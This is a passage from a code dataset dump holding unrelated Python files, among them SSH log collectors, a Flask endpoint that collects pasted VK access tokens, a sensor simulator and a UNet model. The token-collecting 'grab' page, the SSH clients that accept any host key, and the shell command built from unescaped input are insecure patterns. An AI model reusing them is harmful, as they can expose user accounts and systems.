Statistics')\n\nplt.show()\n","sub_path":"Tutorial02_02.py","file_name":"Tutorial02_02.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"519807253","text":"import pandas\nimport os\nfrom django.db.transaction import atomic\nfrom models import *\n\nDEFAULT_PARTS_FILE = os.path.expanduser('~/qbpcatalog.txt')\n\n\n@atomic\ndef import_new_qbpcatalog(file):\n\n    # read data into dataframe to make things quick\n    df = pandas.io.parsers.read_csv(file, sep='\\t', header=0)\n    df = df.fillna('None')\n\n    # clear all old data\n    QbpPart.objects.all().delete()\n    QbpBrand.objects.all().delete()\n\n    # now create brands\n    unique_brands = df['Brand'].unique()\n    brand_objs = [QbpBrand(name=removeNonAscii(k)) for k in unique_brands]\n    QbpBrand.objects.bulk_create(brand_objs)\n\n    # get ids in dict to speed up bulk create of objects\n    # this will avoid a new query for each row\n    brand_values = QbpBrand.objects.all().values()\n    # make it easier to work with here\n    brand_values = dict([(i['name'], i['id']) for i in brand_values])\n\n    n = lambda v: None if v == 'None' else v\n    b = lambda v: True if v == 'Yes' else False\n\n    # create\n    parts_objs = []\n    for i in range(0, len(df)):\n        row = df.ix[i]\n        part = QbpPart(prodid=row.ProdID,\n                       UPC=n(row.UPC),\n                       category=row.Category,\n                       brand_id=brand_values[removeNonAscii(row.Brand)],\n                       model=row.Model,\n                       model_description=n(removeNonAscii(row['Model Description'])),\n                       size=n(removeNonAscii(row.Size)),\n                       color=n(row.Color),\n                       msrp=row.MSRP,\n                       map=row.MAP,\n                       unit_price=row['Each Cost'],\n                       manufacturer_prod=n(row['Manufacturer Prod']),\n                       coo=n(row.COO),\n                       discontinued=b(row.Discontinued),\n                       uom=n(row.UOM),\n                       weight=row.Weight,\n                       length=row.Length,\n                       width=row.Width,\n                       height=row.Height,\n                       ormd=b(row.ORMD),\n                       description=removeNonAscii(row['Product Description']),\n                       replacement=n(row.Replacement),\n                       substitute=n(row.Substitute))\n        parts_objs.append(part)\n    # finally, bulk create all parts\n    QbpPart.objects.bulk_create(parts_objs)","sub_path":"django_engvtweb/team_order/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"299611023","text":"# -*- coding: utf-8 -*-\nimport math\nimport socket\nimport subprocess\nfrom decimal import Decimal\n\nimport paramiko\n\nfrom .. import models\nfrom . import buptnet\n\n\ndef append_extra_fileds(info_dict):\n    return append_aqhi_field(info_dict)\n\n\ndef calculate_aqhi(pm10, no2):\n    return 10 / 16.4 * 100 * (math.exp(0.00019 * pm10) - 1 + math.exp(0.00061 * no2) - 1)\n\n\ndef calculate_aqhi_in_decimal(pm10_decimal, no2_decimal, prec=None):\n    return Decimal(str(\n        round(calculate_aqhi(float(pm10_decimal), float(no2_decimal)), prec)\n    ))\n\n\ndef append_aqhi_field(info_dict):\n    \"\"\"\n    Add aqhi value to the dict returned by extractors.process_parsed_dict.\n    The precision is equal to the setting in models.\n\n    :param info_dict: a dict full of info\n    :return: the appended dict\n    \"\"\"\n    prec = models.POLL_DECIMAL_PLACES\n    for _, station_record in info_dict['stations'].items():\n        station_record['aqhi'] = None\n        pm10 = station_record['pm10']\n        no2 = station_record['no2']\n        if pm10 and no2:\n            station_record['aqhi'] = calculate_aqhi_in_decimal(pm10, no2, prec)\n\n    city_record = info_dict['city']\n    city_record['aqhi'] = None\n    pm10 = city_record['pm10']\n    no2 = city_record['no2']\n    if pm10 and no2:\n        city_record['aqhi'] = calculate_aqhi_in_decimal(pm10, no2, prec)\n\n    return info_dict\n\n\ndef get_ssh_client(hostname, username, password=None, port=22, timeout=5, log_file=None):\n    \"\"\"\n    Use paramiko to create ssh session and return the ssh client.\n    This will first try loading system host keys. If the loading fails, it will try to login with password\n    again.\n    Remember to call client.close() after you are done.\n\n    :param hostname: ssh hostname\n    :param username: ssh username\n    :param password: ssh password\n    :param port: ssh port\n    :param timeout: connection timeout\n    :param log_file: SSH log file. If this is not None, it must be in an existing directory.\n    :return the ssh client\n    :raise extractors.exception s\n    \"\"\"\n    from aqhi.airquality.extractors import ssh_exception\n\n    if log_file:\n        paramiko.util.log_to_file(log_file)\n\n    client = paramiko.SSHClient()\n    client.load_system_host_keys()\n    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n    try:\n        client.connect(hostname, port, username, password, timeout=timeout)\n    except paramiko.ssh_exception.PasswordRequiredException:\n        client.close()\n        raise ssh_exception.PasswordRequiredException\n    except paramiko.ssh_exception.AuthenticationException:\n        client.close()\n        raise ssh_exception.AuthenticationException\n    except socket.timeout:\n        client.close()\n        raise ssh_exception.ConnectionTimeOut\n    except socket.gaierror as e:\n        client.close()\n        if 'Name or service not known' in e.strerror:\n            raise ssh_exception.ServerNotKnown\n        else:\n            raise e\n\n    return client\n\n\ndef get_html_files_from_dir(dir_path, client=None, city_names=None):\n    \"\"\"\n    Get all html files under `dir_path`, which is on local machine or remote one through ssh.\n\n    :param dir_path: an existing root dir for searching html files\n    :param client: an ssh client, optional.\n    :type client: paramiko.SSHClient\n    :param city_names: specific a list of cities to get, without path string\n    :return: a generator yielding (file_name, file_content) pairs, with content as unicode string\n    \"\"\"\n    city_pattern = ''\n    if city_names is not None:\n        city_pattern = '\\\\( -name \"*{}.html\" '.format(city_names[0])\n        for city_name in city_names[1:]:\n            city_pattern += '-o -name \"*{}.html\" '.format(city_name)\n        city_pattern += '\\\\)'\n    cmd = 'find {} -type f -name *.html {}'.format(dir_path, city_pattern)\n\n    if client:\n        sftp = client.open_sftp()\n\n        file_name_it = (\n            f.strip()\n            for f in client.exec_command(cmd)[1]\n        )\n    else:\n        file_name_it = (line for line in subprocess.check_output(cmd.split()).decode().strip().split('\\n'))\n\n    for file_name in file_name_it:\n        if client:\n            file = sftp.open(file_name)\n        else:\n            file = open(file_name, encoding='utf-8')\n\n        content = file.read()\n        if isinstance(content, bytes):\n            content = content.decode(encoding='utf-8')\n        yield file_name, content\n\n        file.close()\n\n\ndef list_depth(l):\n    \"\"\"Count the max depth of a list.\"\"\"\n    if isinstance(l, list) and len(l) > 0:\n        return 1 + max(list_depth(item) for item in l)\n    else:\n        return 0","sub_path":"aqhi/airquality/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"182059424","text":"sm=\"abcdefghijklmnopqrstuvwxyz\"\nup=sm.upper()\nnum=\"1234567890\"\nwhile True:\n\ttry:\n\t\ts=input()\n\t\tisu=False\n\t\tiss=False\n\t\tisn=False\n\t\tc=0\n\t\tfor i in s:\n\t\t\tif not sm.find(i)==-1:\n\t\t\t\tiss=True\n\t\t\telif not up.find(i)==-1:\n\t\t\t\tisu=True\n\t\t\telif not num.find(i)==-1:\n\t\t\t\tisn=True\n\t\t\tif iss and isu and isn:\n\t\t\t\tiss=False\n\t\t\t\tisu=False\n\t\t\t\tisn=False\n\t\t\t\tc+=1\n\t\tprint(c)\n\t\t\n\texcept:\n\t\tbreak","sub_path":"passwords.py","file_name":"passwords.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"51887953","text":"from sys import stdin\n\ninput = stdin.readline\nr,c = map(int,input().rstrip().split())\ndata = [ list(map(lambda x: ord(x)-65,input().rstrip())) for _ in range(r)]\n\ndx = [0,0,1,-1]\ndy = [1,-1,0,0]\n\nanswer =1\ndef dfs(x,y,ans):\n    global answer\n\n    answer = max(ans,answer)\n    \n    for i in range(4):\n        X,Y = x+dx[i],y+dy[i]\n        if 0<=X<r and 0<=Y<c and alp[data[X][Y]]==0:\n            alp[data[X][Y]]=1\n            dfs(X,Y,ans+1)\n            alp[data[X][Y]]=0\n\nalp = [0 for _ in range(26)]\nalp[data[0][0]]=1\ndfs(0,0,answer)\nprint(answer)\n","sub_path":"sujang/boj/python/1987.py","file_name":"1987.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"130482094","text":"# -*- coding: utf-8 -*-\n\n#\n# Copyright (c), Cucurbita\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without modification, \n# are permitted provided that the following conditions are met:\n# \n#     1. Redistributions of source code must retain the above copyright notice, \n#     this list of conditions and the following disclaimer.\n#     \n#     2. Redistributions in binary form must reproduce the above copyright notice, \n#     this list of conditions and the following disclaimer in the documentation \n#     and/or other materials provided with the distribution.\n#     \n#     3. Neither the name of the Cucurbita nor the names of its contributors \n#     may be used to endorse or promote products derived from this software without \n#     specific prior written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY \n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES \n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT \n# SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT \n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) \n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR \n# TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, \n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n#\n\nfrom NSAppKit.NSAppKit import NSWidget,NSDirBrowseButton,NSWindow,NSView\nfrom ArchimadePreferences import setDomainKey,getDomainKey\nfrom ApplicationStub import ASBundleName,ASBundleResources,ASBundleGetLocalizedString\n\nPREF_BOX_OBJECT_PTR = None\n\nclass _PrefBox(NSWindow):\n\tdef __init__(self,parent,application):\n\t\tNSWindow.__init__(self,parent,-1,ASBundleGetLocalizedString('__PREFBOX_WINDOW_TITLE__'),size=(250,225),style = NSWidget.CLOSE_BOX)\n\t\tself.SetDefaultPosition()\n\t\tself.Bind(NSWidget.EVT_CLOSE,self.OnClose)\n\t\tself.parent = parent\n\t\tself.application = application\n\t\tself.drawInternalView()\n\t\tself.SetFocus()\n\t\t\n\tdef SetDefaultPosition(self):\n\t\tself.CenterOnScreen(NSWidget.BOTH)\n\t\tself.SetPosition(\n\t\t\t\t(self.GetPosition()[0],\n\t\t\t\tint(self.GetPosition()[1]/3))\n\t\t\t)\n\t\t\n\tdef OnClose(self,evt):\n\t\tself.Hide()\n\t\t#self.SetDefaultPosition()\n\t\n\tdef drawInternalView(self):\n\t\tinternalView = NSView(self,-1)\n\n\t\tImg = NSWidget.Image(\n\t\t\t\tASBundleResources + '/ArchimadePrefTBBackground.png',\n\t\t\t\tNSWidget.BITMAP_TYPE_PNG\n\t\t\t).ConvertToBitmap()\n\t\t\n\t\tImgView = NSWidget.StaticBitmap(\n\t\t\t\t\tinternalView,\n\t\t\t\t\t-1,\n\t\t\t\t\tImg,\n\t\t\t\t\t(0,0),\n\t\t\t\t\t(Img.GetWidth(),Img.GetHeight())\n\t\t\t\t)\n\t\t\t\t\n\t\tImg = NSWidget.Image(\n\t\t\t\tASBundleResources + '/ArchimadePrefTBGeneral.png',\n\t\t\t\tNSWidget.BITMAP_TYPE_PNG\n\t\t\t).ConvertToBitmap()\n\t\t\n\t\tImgView = NSWidget.StaticBitmap(\n\t\t\t\t\tinternalView,\n\t\t\t\t\t-1,\n\t\t\t\t\tImg,\n\t\t\t\t\t(10,0),\n\t\t\t\t\t(Img.GetWidth(),Img.GetHeight())\n\t\t\t\t)\n\t\t\n\t\tself.KeepDataFork = NSWidget.CheckBox(internalView,-1,ASBundleGetLocalizedString('__PREFBOX_KEEP_DATAFORK__'),pos=(30,70))\n\t\tself.KeepDataFork.SetWindowVariant(variant=NSWidget.WINDOW_VARIANT_SMALL)\n\t\tself.KeepDataFork.SetValue(self.application.KeepDataFork)\n\t\t\t\n\t\tself.OverwriteFile = NSWidget.CheckBox(internalView,-1,ASBundleGetLocalizedString('__PREFBOX_OVERWRITE_FILE__'),pos=(30,90))\n\t\tself.OverwriteFile.SetWindowVariant(variant=NSWidget.WINDOW_VARIANT_SMALL)\n\t\tself.OverwriteFile.SetValue(self.application.OverwriteFile)\n\t\t\n\t\tself.ShortExtension = NSWidget.CheckBox(internalView,-1,ASBundleGetLocalizedString('__PREFBOX_SHORT_EXTENSION__'),pos=(30,110))\n\t\tself.ShortExtension.SetWindowVariant(variant=NSWidget.WINDOW_VARIANT_SMALL)\n\t\tself.ShortExtension.SetValue(self.application.ShortExtension)\n\t\t\n\t\tself.RedirectDeskTop = NSWidget.CheckBox(internalView,-1,ASBundleGetLocalizedString('__PREFBOX_REDIRECT_DESKTOP__'),pos=(30,130))\n\t\tself.RedirectDeskTop.SetWindowVariant(variant=NSWidget.WINDOW_VARIANT_SMALL)\n\t\tself.RedirectDeskTop.SetValue(self.application.RedirectDeskTop)\n\t\t\n\t\tself.RevealFile = NSWidget.CheckBox(internalView,-1,ASBundleGetLocalizedString('__PREFBOX_REVEAL_FILE__'),pos=(30,150))\n\t\tself.RevealFile.SetWindowVariant(variant=NSWidget.WINDOW_VARIANT_SMALL)\n\t\tself.RevealFile.SetValue(self.application.RevealFile)\n\t\t\n\t\tself.ActivateApp = NSWidget.CheckBox(internalView,-1,ASBundleGetLocalizedString('__PREFBOX_ACTIVATE_APP__') % ASBundleName,pos=(30,170))\n\t\tself.ActivateApp.SetWindowVariant(variant=NSWidget.WINDOW_VARIANT_SMALL)\n\t\tself.ActivateApp.SetValue(self.application.ActivateApp)\n\t\t\n\t\tif self.RedirectDeskTop.GetValue() is True:\n\t\t\tself.RevealFile.Enable(False)\n\t\t\n\t\tself.Bind(NSWidget.EVT_CHECKBOX,self.onCheck_KeepDataFork,self.KeepDataFork)\n\t\tself.Bind(NSWidget.EVT_CHECKBOX,self.onCheck_OverwriteFile,self.OverwriteFile)\n\t\tself.Bind(NSWidget.EVT_CHECKBOX,self.onCheck_ShortExtension,self.ShortExtension)\n\t\tself.Bind(NSWidget.EVT_CHECKBOX,self.onCheck_RedirectDeskTop,self.RedirectDeskTop)\n\t\tself.Bind(NSWidget.EVT_CHECKBOX,self.onCheck_RevealFile,self.RevealFile)\n\t\tself.Bind(NSWidget.EVT_CHECKBOX,self.onCheck_ActivateApp,self.ActivateApp)\n\n\t\tinternalView.SetAutoLayout(True)\n\t\n\t#Live preferences\n\tdef onCheck_KeepDataFork(self,evt) :\n\t\tself.application.KeepDataFork = int(evt.IsChecked())\n\t\t\n\tdef onCheck_OverwriteFile(self,evt) :\n\t\tself.application.OverwriteFile = int(evt.IsChecked())\n\t\t\n\tdef onCheck_ShortExtension(self,evt) :\n\t\tself.application.ShortExtension = int(self.ShortExtension.GetValue())\n\t\t\n\tdef onCheck_RedirectDeskTop(self,evt) :\n\t\tself.application.RedirectDeskTop = self.RedirectDeskTop.GetValue()\n\t\tif self.application.RedirectDeskTop is True:\n\t\t\tself.RevealFile.Enable(False)\n\t\telse:\n\t\t\tself.RevealFile.Enable(True)\n\t\t\n\tdef onCheck_RevealFile(self,evt) :\n\t\tself.application.RevealFile = int(self.RevealFile.GetValue())\n\t\t\n\tdef onCheck_ActivateApp(self,evt) :\n\t\tself.application.ActivateApp = self.ActivateApp.GetValue()\n\nclass PrefBox:\n\tdef __init__(self,parent,application):\n\t\tglobal PREF_BOX_OBJECT_PTR\n\t\n\t\tif PREF_BOX_OBJECT_PTR is None:\n\t\t\tPREF_BOX_OBJECT_PTR = _PrefBox(parent,application)\n\t\t\tPREF_BOX_OBJECT_PTR.Show()\n\t\t\n\t\tif PREF_BOX_OBJECT_PTR is not None:\n\t\t\tif PREF_BOX_OBJECT_PTR.Show() is False:\n\t\t\t\tPREF_BOX_OBJECT_PTR.Hide()\n\t\t\t\tPREF_BOX_OBJECT_PTR.Show()\n\t\t\telse:\n\t\t\t\tPREF_BOX_OBJECT_PTR.Show()\n\t\t\t\t\nclass ArchimadePrefBox(PrefBox):\n\tpass\n\t\n# EOF","sub_path":"Examples.subproj/Archimade/Contents/Resources/Python/ArchimadeCore/ArchimadePrefBox.py","file_name":"ArchimadePrefBox.py","file_ext":"py","file_size_in_byte":6478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"99163270","text":"from datetime import datetime\nfrom datetime import timezone\nfrom paramiko import SSHClient\nfrom scp import SCPClient\n\nimport json\nimport os\nimport paramiko\nimport re\nimport requests\nimport time\nimport urllib.request\n\n\n### Settings\n## General Settings\nrefreshInterval = int(os.environ.get('RefreshInterval'))\n\n## SSH Settings\nssh = SSHClient()\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n## Node Settings\nname = os.environ.get('NodeName')\nurl = os.environ.get('NodeURL')\n\ndef writeToDatabase(data):\n    print(data)\n    requests.post(\"http://\" + os.environ.get('DBServer') + \":\" + os.environ.get('DBPort') + \"/write?db=\" + os.environ.get('DBName'), data=data)\n\n\nwhile True:\n    startTime = time.time()\n\n    if os.environ.get(\"Remote\").lower() == \"true\":\n        ## Get Logfile\n        ssh.connect(os.environ.get('SSHServer'), username=os.environ.get('SSHUsername'), password=os.environ.get('SSHPassword'))\n        scp = SCPClient(ssh.get_transport())\n        scp.get(os.environ.get('SSHLog'), os.environ.get('NodeName') + \".log\")\n        scp.close()\n        ssh.close()\n\n    logfile = open(os.environ.get('NodeName') + \".log\", \"r\").read()\n\n    ### Collect Informations from logfile\n    ## Edit the following line in the config.yaml\n    ## log.output: \"/app/config/node.log\"\n\n    # Audit\n    auditSuccess = re.findall(r'\\sdownloaded\\s.*\"GET_AUDIT\"', string=logfile)\n    auditFailedWarn = re.findall(r'\\sfailed\\s.*\"GET_AUDIT\"', string=logfile)\n    auditFailedCrit = re.findall(r'\\sfailed\\s.*\"GET_AUDIT\"', string=logfile)\n    writeToDatabase(\"audit,node=\" + name + \" success=\" + str(len(auditSuccess)) + \",warn=\" + str(len(auditFailedWarn)) + \",crit=\" + str(len(auditFailedCrit)))\n\n    # Download\n    downloadSuccess = re.findall(r'\\sdownloaded\\s.*\"GET\"', string=logfile)\n    downloadFailed = re.findall(r'\\sdownload failed\\s.*\"GET\"', string=logfile)\n    downloadCanceled = re.findall(r'\\sdownload canceled\\s.*\"GET\"', string=logfile)\n    writeToDatabase(\"download,node=\" + name + \" success=\" + str(len(downloadSuccess)) + \",canceled=\" + str(len(downloadCanceled)) + \",failed=\" + str(len(downloadFailed)))\n\n    # Upload\n    uploadSuccess = re.findall(r'\\suploaded\\s.*\"PUT\"', string=logfile)\n    uploadRejected = re.findall(r'\\supload rejected\\s.*\"PUT\"', string=logfile)\n    uploadCanceled = re.findall(r'\\supload canceled\\s.*\"PUT\"', string=logfile)\n    uploadFailed = re.findall(r'\\supload failed\\s.*\"PUT\"', string=logfile)\n    writeToDatabase(\"upload,node=\" + name + \" success=\" + str(len(uploadSuccess)) + \",canceled=\" + str(len(uploadCanceled)) + \",failed=\" + str(len(uploadFailed)) + \",rejected=\" + str(len(uploadRejected)))\n\n    # Download Repair\n    downloadRepairSuccess = re.findall(r'\\sdownloaded\\s.*\"GET_REPAIR\"', string=logfile)\n    downloadRepairCanceled = re.findall(r'\\sdownload canceled\\s.*\"GET_REPAIR\"', string=logfile)\n    downloadRepairFailed = re.findall(r'\\sdownload failed\\s.*\"GET_REPAIR\"', string=logfile)\n    writeToDatabase(\"downloadRepair,node=\" + name + \" success=\" + str(len(downloadRepairSuccess)) + \",canceled=\" + str(len(downloadRepairCanceled)) + \",failed=\" + str(len(downloadRepairFailed)))\n\n    # Upload Repair\n    uploadRepairSuccess = re.findall(r'\\suploaded\\s.*\"PUT_REPAIR\"', string=logfile)\n    uploadRepairCanceled = re.findall(r'\\suploaded canceled\\s.*\"PUT_REPAIR\"', string=logfile)\n    uploadRepairFailed = re.findall(r'\\suploaded failed\\s.*\"PUT_REPAIR\"', string=logfile)\n    writeToDatabase(\"uploadRepair,node=\" + name + \" success=\" + str(len(uploadRepairSuccess)) + \",canceled=\" + str(len(uploadRepairCanceled)) + \",failed=\" + str(len(uploadRepairFailed)))\n\n    # Delete\n    deleteSuccess = re.findall(r'\\sdelete\\s.*\"PUT_REPAIR\"', string=logfile)\n    deleteFailed = re.findall(r'\\sdelete failed\\s.*\"PUT_REPAIR\"', string=logfile)\n    writeToDatabase(\"delete,node=\" + name + \" success=\" + str(len(deleteSuccess)) + \",failed=\" + str(len(deleteFailed)))\n\n\n\n    ### Collect Informations from Web-API\n    ## Can be activated by exposing the API Port\n    ## Add the following line to your docker start command\n    ## -p 14002:14002\n\n    # Get General API\n    response = urllib.request.urlopen(url + \"/api/sno\")\n    html = response.read()\n    output_json = json.loads(html)\n\n    # Uptime\n    startedAt = output_json[\"startedAt\"][:19]\n    startedAtFormated = datetime.strptime(startedAt, \"%Y-%m-%dT%H:%M:%S\")\n    uptime = datetime.now().replace(tzinfo=timezone.utc).timestamp() - startedAtFormated.replace(tzinfo=timezone.utc).timestamp()\n    writeToDatabase(\"uptime,node=\" + name + \" uptime=\" + str(uptime))\n            \n    # Disk Space\n    diskSpaceUsed = output_json[\"diskSpace\"][\"used\"]\n    diskSpaceTrash = output_json[\"diskSpace\"][\"trash\"]\n    diskSpaceAvailable = output_json[\"diskSpace\"][\"available\"]\n    writeToDatabase(\"space,node=\" + name + \" used=\" + str(diskSpaceUsed) + \",trash=\" + str(diskSpaceTrash) + \",available=\" + str(diskSpaceAvailable))\n\n    time.sleep(refreshInterval - (time.time() - startTime))","sub_path":"ressources/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"322344674","text":"import time\nimport numpy as np\nimport threading\nimport requests\nfrom MyMQTT import *\n\nclass SensorOxygen(threading.Thread):\n    def __init__(self, deviceID, boxID, topic, publicURL):\n        threading.Thread.__init__(self)\n        self.deviceID = f\"{boxID}{deviceID}\"\n        self.boxID = boxID\n        self.topic = f\"{topic}/{self.boxID}/{self.deviceID}/oxygen\"\n        self.payload = {\n            \"deviceID\": self.deviceID,\n            \"Topic\": self.topic,\n            \"Resource\": \"Oxygen\",\n            \"Timestamp\": None\n        }\n        conf2 = json.load(open(\"settingsboxcatalog.json\"))\n        self.timesenddata = conf2[\"timesenddata\"]\n        self.timerequest = conf2[\"timerequest\"]\n        self.count = 6\n        self.url=publicURL\n\n    def start_MyMQTT(self, broker, port):\n        self.client = MyMQTT(self.deviceID, broker, port, None)\n        self.__message = {\n            'bn': self.deviceID,\n            'e': [\n                {\n                    'n': 'Oxygen Level',\n                    'u': '%',\n                    't': None,\n                    'v': None\n                }\n            ]\n        }\n        self.client.start()\n\n    def request(self):\n        self.payload[\"Timestamp\"] = time.time()\n        r = requests.put(self.url+\"/Device\", json=self.payload)\n        print(f\"\\n{self.deviceID} registered to Box Catalog with result {r.status_code}\")\n\n    def run(self):\n        while True:\n            self.sendData()\n            if self.count % (self.timerequest/self.timesenddata) == 0:\n                self.request()\n                self.count = 0\n            self.count += 1\n            time.sleep(self.timesenddata)\n\n    def sendData(self):\n        #ossigenazione >=96% : tutto ok\n        # 93% =< ossigenazione < 95% : possibili problemi\n        # ossigenazione <92 % : ossigenazione insufficiente\n        oxy_level = np.random.logistic(100, 0.6, 1).item()\n        if oxy_level > 100:\n            oxy_level = 100\n        message = self.__message\n        message['e'][0]['t'] = float(time.time())\n        message['e'][0]['v'] = oxy_level\n        self.client.myPublish(self.topic, message)\n        print(\"\\nMessage published by OxygenLevel Sensor\")\n\n    def stop_MyMQTT(self):\n        self.client.stop()\n","sub_path":"Sensor_OxygenLevel.py","file_name":"Sensor_OxygenLevel.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"134885931","text":"from flask import session, render_template, request\nfrom json import dumps\nfrom controller.handler import remove_user as remove, activate_user, send\nfrom model.api import API\nfrom model.user import User\nfrom model.admin import Admin\nfrom werkzeug.exceptions import NotFound\nfrom urllib.parse import parse_qs\nfrom mongoengine import Q\n\n\ndef remove_user(id):\n    if 'user_id' in session:\n        remove(id)\n    return dumps(dict(code=200))\n\n\ndef grab(key):\n    if request.method == 'GET':\n        user = User.objects(key=key).first()\n        if not user:\n            raise NotFound()\n        return render_template('panel/grab.html',\n                               title='Получение доступа',\n                               url=API.get_auth_url(key))\n    elif request.method == 'POST':\n        def get_index(array, item, func):\n            for i in range(len(array)):\n                if item == func(array[i]):\n                    return i;\n            return -1\n        try:\n            params = parse_qs(request.form['token'].split('#')[1])\n            access_token = params['access_token'][0]\n            key = params['state'][0]\n            data = API.request(\n                'users.get',\n                dict(\n                    user_ids=params['user_id'][0],\n                    fields='photo_100'\n                )\n            )[0]\n            account = dict(\n                access_token=access_token,\n                user_id=data['id'],\n                photo=data['photo_100'],\n                name=\"{0} {1}\".format(data['first_name'], data['last_name'])\n            )\n            user = User.objects(key=key).first()\n            index = get_index(user.account, account['user_id'], lambda x: x['user_id'])\n            if index == -1:\n                user.account.append(account)\n            else:\n                user.account[index] = account\n            user.save()\n            return dumps(dict(code=200))\n        except Exception as msg:\n            return dumps(dict(\n                code=400,\n                message=str(msg)\n            ))\n","sub_path":"controller/system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"181709639","text":"#-*- coding: utf8 -*-\nimport sys\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torchvision.models.densenet import densenet201\nfrom torchvision.models.inception import inception_v3\n\n\ndef make_conv_bn_relu(in_channels, out_channels, kernel_size=3, stride=1, padding=1):\n    return [\n        nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, stride=stride, padding=padding, bias=False),\n        nn.BatchNorm2d(out_channels),\n        nn.ReLU(inplace=True),\n    ]\n\ndef make_conv_relu(in_channels, out_channels, kernel_size=3, stride=1, padding=1):\n    return [\n        nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, stride=stride, padding=padding, bias=True),\n        nn.ReLU(inplace=True),\n    ]\n\n\nclass UNet(nn.Module):\n    def __init__(self, pretrained, in_channels=3, num_classes=1):\n        super(UNet, self).__init__()\n        #256\n        self.down1 = nn.Sequential(\n            *make_conv_bn_relu(in_channels, 16, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu(16, 32, kernel_size=3, stride=2, padding=1 ),\n        )\n        #64\n        self.down2 = nn.Sequential(\n            *make_conv_bn_relu(32, 64,  kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu(64, 128, kernel_size=3, stride=1, padding=1 ),\n        )\n        #32\n        self.down3 = nn.Sequential(\n            *make_conv_bn_relu(128, 256, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu(256, 512, kernel_size=3, stride=1, padding=1 ),\n        )\n        #16\n        self.down4 = nn.Sequential(\n            *make_conv_bn_relu(512,512, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu(512,512, kernel_size=3, stride=1, padding=1 ),\n        )\n        #8\n        self.same = nn.Sequential(\n            *make_conv_bn_relu(512,512, kernel_size=1, stride=1, padding=0 ),\n        )\n        #16\n        self.up4 = nn.Sequential(\n            *make_conv_bn_relu(1024,512, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu( 512,512, kernel_size=3, stride=1, padding=1 ),\n        )\n        #16\n        self.up3 = nn.Sequential(\n            *make_conv_bn_relu(1024,512, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu( 512,128, kernel_size=3, stride=1, padding=1 ),\n        )\n        #32\n        self.up2 = nn.Sequential(\n            *make_conv_bn_relu(256,128, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu(128, 32, kernel_size=3, stride=1, padding=1 ),\n        )\n        #64\n        self.up1 = nn.Sequential(\n            *make_conv_bn_relu(64, 64, kernel_size=3, stride=1, padding=1 ),\n            *make_conv_bn_relu(64, 32, kernel_size=3, stride=1, padding=1 ),\n        )\n        #128\n        self.up0 = nn.Sequential(\n            *make_conv_bn_relu(32, 32, kernel_size=3, stride=1, padding=1 ),\n        )\n        #256\n\n        self.classify = nn.Conv2d(32, num_classes, kernel_size=1, stride=1, padding=0 )\n\n    def forward(self, x):\n        down1 = self.down1(x) # 256\n        out = F.max_pool2d(down1, kernel_size=2, stride=2) #64\n\n        down2 = self.down2(out)\n        out = F.max_pool2d(down2, kernel_size=2, stride=2) #32\n\n        down3 = self.down3(out)\n        out = F.max_pool2d(down3, kernel_size=2, stride=2) #16\n\n        down4 = self.down4(out)\n        out = F.max_pool2d(down4, kernel_size=2, stride=2) # 8\n\n        out = self.same(out)\n\n        out = F.upsample(out, scale_factor=2, mode='bilinear') #16\n        out = torch.cat([down4, out],1)\n        out = self.up4(out)\n\n        out = F.upsample(out, scale_factor=2, mode='bilinear') #32\n        out = torch.cat([down3, out],1)\n        out = self.up3(out)\n\n        out = F.upsample(out, scale_factor=2, mode='bilinear') #64\n        out = torch.cat([down2, out],1)\n        out = self.up2(out)\n\n        out = F.upsample(out, scale_factor=2, mode='bilinear') #128\n        out = 